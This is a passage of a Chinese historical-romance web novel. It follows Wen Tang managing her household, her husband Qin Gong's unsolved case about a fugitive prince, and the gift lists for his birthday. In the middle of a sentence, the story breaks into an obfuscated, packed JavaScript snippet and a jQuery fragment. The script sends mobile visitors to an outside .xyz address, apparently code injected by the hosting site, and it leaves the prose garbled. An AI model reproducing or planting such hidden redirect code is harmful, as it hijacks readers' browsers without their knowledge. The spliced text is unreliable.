子夜刚过，万籁俱寂。
月色被浓云遮蔽，只余檐角几盏昏黄的灯，晃啊晃。
入睡不久，隔间传来了夏姐儿细细的哭闹声，温棠从睡梦中醒过来，身侧衾枕已空，昏昧的光线里，秦恭早已坐起，披着一件松垮的素绸寝衣，然后沉声向外问怎么回事。
温棠撑着酸软的身子，自锦被里支起，青丝如瀑散落肩头，微敞的领口隐约可见雪肤上红痕，
她赤足踩在微凉的脚踏上，匆忙系着散乱的衣带，对外面说，“将姐儿抱进来。”
夏姐儿这是念娘了，念叨的睡不着。
之前秦恭公务繁重的时候，常宿衙署，夜不归宿，她便带着夏姐儿一块儿歇息，现在秦恭回来了，夏姐儿自然得抱去跟乳娘安置。
门扉轻启，灯笼光晕透了进来，
婆子很快就抱着哭成泪人儿的夏姐儿进来，刚还哭的厉害的孩子，一触及娘亲温软馨香的怀抱，只剩委屈的抽噎，小家伙抬起湿漉漉，黑葡萄似的大眼睛，巴巴地望着温棠，小嘴一瘪，眼见金豆子又要滚落。
温棠了然，搂紧软糯的小身子，温言哄慰。
秦恭却走过来，“怎么了？”
“哭成这样？下人们如何伺候的？”
“既没伺候好，便打发了出去，换得力的人来。”
秦恭平日不言不语，光是站在那儿，那份久居上位的威仪便足以令人生畏，更何况现在他语气沉沉，又因方才激烈情事余韵未消，嗓音哑的厉害，婆子吓得大气不敢出，缩着肩膀。
温棠温言替下人解围，让她先下去，然后扭过头对秦恭解释，“爷，不关她事，是夏姐儿饿了。”
饿了的夏姐儿小鼻子急促地拱动着，眼看着就蹭开了娘亲松散的衣襟，小脑袋哧溜就钻了进去。
他还站在边上，温棠还没有对着他拉开自己衣襟的习惯，下意识侧过身，背对着秦恭，确定看不见，才手轻拍着女儿的背，安静的内室里就只剩下了小孩儿急切而满足的喝奶声。
秦恭沉默地坐在榻沿，温棠喂过孩子，唤乳母进来抱走，她才绯红着脸颊转过身来。
她手拢衣襟，“爷，歇息吧。”
“以后，让乳母去带。”他嗓音很哑。
温棠知晓扰了他休息，也不多说什么，只点点头，然后爬到榻里侧歇下。
--
时值八月，京城如蒸笼，蝉鸣聒噪，日头毒辣，秦恭的公务愈发繁重，连着几夜都是踏着子时的梆子声才回府。
恰逢新任大理寺少卿抵京，
秦恭似与对方交好，为显郑重周全，秦恭设下盛宴为其接风洗尘，遍邀同僚勋贵。
那夜他回来极晚，而且身上酒气浓厚，等他回来，温棠费力脱下那身浸透酒气的官袍，内里雪白中衣也沾染了酒渍，她刚想唤人备水，旋即被他醉意沉沉地压在身下，他身量极高，骨架又沉，醉的厉害的模样，全身重量压下来，压得温棠险些背过气，她挣扎着从他身下翻出，难受地拍了拍胸口。
秦恭的酒量她是知道的，海量，罕有醉时。往年多少酒都灌不倒他，这次倒是来了个能人，把他也给喝倒了。
秦恭手中经办的那桩前朝皇子遗案，进展停滞，症结在于前朝倾覆时，一把焚宫大火将殿中物事烧得片纸不留，这唯一逃亡的皇子所有画像尽毁，无人知其相貌，查证如大海捞针，先前虽有人声称见过，却也只瞧见个模糊背影，只道那身影并不文弱，观其体态步履，倒似是个习武之人。
秦恭在外夙夜匪懈，府里同样忙得如同沸水，温棠则在府中帮着婆母一同主持中馈，盘查府库，采买添置，应酬往来，桩桩件件，加之秦恭生辰在即，各府道贺的礼单如同流水般涌入府门，名帖礼单堆满了偏厅的桌案。上至管事，下至洒扫仆役，人人皆是脚不沾地。
幸得一场夜雨骤至，驱散了连日盘踞不去的闷热，空气里沁着一丝难得的清凉。
檐角雨滴断续，窗外鸟鸣清脆。
温棠早早起身，略作梳洗，绾了个简单的髻，在偏厅里核对礼单。
“大奶奶，这是御史台云大人府上呈来的贺礼单子。”
周婆子在一旁捧着账册。
“这是，伯府送来的贺礼。”
伯府也就是温棠那个伯爷父亲送过来的。
周婆子有些不想往上面记，尤其看到礼单后头还跟着缀上的另一个名字时。
周婆子指指点点，“她那夫婿也赶着来送礼，怎就管不住自家娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716434|173732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子？”
哪有成婚妇人还将前未婚夫的信物拿出来招摇的道理。
“大嫂安好。”
周婆子还没愤慨完，就听见小姑奶奶的声音传了过来，周婆子的脸登时拉得老长。
秦若月一身簇新的鹅黄罗衫，心情显然极佳，她走过来，难得规规矩矩地向温棠福身行礼问安。
她说，“嫂嫂忙着点收贺礼呢？”
周婆子回，“是啊，四姑娘。”
“可曾看到知意姐姐送来的那份？”
她说着就探头过来，伸手欲翻，被周婆子一下子就给账本抽走了，秦若月扑了个空。
“四姑娘，我们府的大小姐早已出嫁。送礼，自然是以她夫家或父家的名义，您哪，说话仔细着些体统分寸。”
“慎言。”
省得哪天出去被人打满头包。
秦若从鼻子里轻轻哼了一声，睨着周婆子，“我这不是替嫂嫂着想么，前儿我约知意姐姐进府叙旧，她夫婿把生意做到京城来了，铺子开得不少，有几家铺子，就离着兄长的官衙不远，抬头不见低头见的，难免不碰上。”
周婆子想拿个笤帚给她扫出去。
秦若月今日似乎有了点讨人嫌的自知之明，没等周婆子去扫她，便自个儿站起身，“嫂嫂忙着”，扭身走了。
沿着湿漉漉的青石板小径，
她身后跟着的，是这段时日最得她看重的丫鬟银珠。
银珠觑着四下无人，紧赶两步凑近秦若月，“小姐，奴婢费了好大功夫，总算打听实了。章状元郎确已抵京，大爷生辰宴那日，他必定在受邀之列。”
“到那时候，您便可以探探虚实了。”
银珠跟在她后面，然后欲言又止。在这深宅大院里，想探听府外男子的消息，谈何容易？重重门禁，规矩森严，丫鬟婆子们等闲不得外出。她为了这点消息，不知费了多少心思，塞了不少体己银子，才勉强撬开守门小厮的嘴，得来些零星的消息。
秦若月却没工夫去理会奴才心里的那点小盘算。
她低垂着头，耳尖热烫，好半晌才重新抬起头，
“他真长那副模样？”
扬声出口，秦若月语气娇纵，脸颊却飞红。